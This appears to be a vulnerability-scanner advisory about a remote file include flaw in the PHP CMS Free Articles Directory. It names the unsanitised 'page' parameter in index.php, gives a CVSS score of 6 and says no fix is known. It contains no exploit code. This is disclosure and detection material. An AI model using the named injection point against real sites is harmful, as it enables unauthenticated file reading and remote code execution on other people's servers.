Synopsis :
The remote web server contains a PHP application that is affected by a
remote file include vulnerability.
Description :
The remote host is running Free Articles Directory, a CMS written in
PHP.
The installed version of Free Articles Directory fails to sanitize
user input to the 'page' parameter in index.php. An unauthenticated
attacker may be able to read arbitrary local files or include a file
from a remote host that contains commands which will be executed by
the vulnerable script, subject to the privileges of the web server
process.

Solution :
Unknown at this time.
Risk factor :
Medium / CVSS Base Score : 6
